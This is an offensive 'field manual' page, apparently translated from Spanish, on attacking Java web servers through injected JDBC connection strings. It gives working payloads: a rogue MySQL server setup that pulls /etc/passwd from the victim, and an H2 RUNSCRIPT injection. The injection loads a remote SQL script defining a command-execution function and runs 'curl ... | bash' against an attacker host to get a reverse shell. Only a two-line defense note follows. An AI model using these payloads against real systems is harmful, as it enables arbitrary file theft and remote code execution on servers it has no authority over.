📕 FIELD MANUAL 17.1: JDBC CONNECTION INJECTION (DRIVER ATTACKS)
Classification: RED TEAM EYES ONLY
Classification: RED TEAM EYES ONLY
Objective: Compromise the web server by attacking the database connector (JDBC Driver) to achieve Remote Code Execution (RCE) or Arbitrary File Read.
MITRE ATT&CK: T1190, T1210.
1. INTEL & RECON: THE PIPELINE IS THE WEAPON
Sección titulada «1. INTEL & RECON: LA TUBERÍA ES EL ARMA»Sometimes we do not control the SQL query, but we do control the connection parameters (for example, in a configuration panel or via deserialization).
The connection string in Java looks like this:
jdbc:mysql://localhost:3306/db
The Vector: Many JDBC drivers have serious vulnerabilities if we can manipulate this string.
2. WEAPONIZATION: FAKE MYSQL SERVER (FILE READ)
Sección titulada «2. ARMAMENTISMO: SERVIDOR MYSQL FALSO (LECTURA DE ARCHIVOS)»Target: MySQL/J Connector (Java). Technique: If we can force the web server to connect to our fake MySQL server, we can ask it to send us any local file from its disk.
STEP 1: Fake Server Configuration
Sección titulada «PASO 1: Configuración del Servidor Falso»We will use tools such as Rogue-MySql-Server on our attacker machine.
- Configuration:
file_to_read = "/etc/passwd"
STEP 2: JDBC Injection
Sección titulada «PASO 2: La Inyección JDBC»We will inject our IP into the victim's connection string.
- Payload:
jdbc:mysql://ATACANTE_IP:3306/db?allowLoadLocalInfile=true - Execution:
- The victim connects to our IP, thinking it is their database.
- Our Fake Server greets them and says: “To authenticate, send me the content of
/etc/passwd”. - The (vulnerable) MySQL driver obeys and sends the file.
- Loot: We have the victim's
/etc/passwd.
3. WEAPONIZATION: H2 DATABASE RCE
Sección titulada «3. ARMAMENTISMO: BASE DE DATOS H2 RCE»Target: H2 Database (Common in development and Spring Boot).
Technique: The H2 database allows executing system commands via RUNSCRIPT if we control the JDBC URL.
STEP 1: Create Malicious Script (init.sql)
Sección titulada «PASO 1: Crear Script Malicioso (init.sql)»CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }';CALL EXEC('curl [http://atacante.com/revshell](http://atacante.com/revshell) | bash');STEP 2: JDBC Injection (Trigger)
Sección titulada «PASO 2: La Inyección JDBC (Disparador)»We will force the application to load our script upon connection.
- Payload:
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://atacante.com/init.sql' - Result: The moment the application attempts to connect, we will download our SQL, create the command execution function, and obtain a Reverse Shell.
4. PURPLE TEAM PERSPECTIVE (DEFENSE)
Sección titulada «4. PERSPECTIVA DEL EQUIPO PURPURA (DEFENSA)»- Defense: Never allow the user to control the JDBC connection string.
- Mitigation: We will update the JDBC drivers. In MySQL, we will set
allowLoadLocalInfile=falseby default.

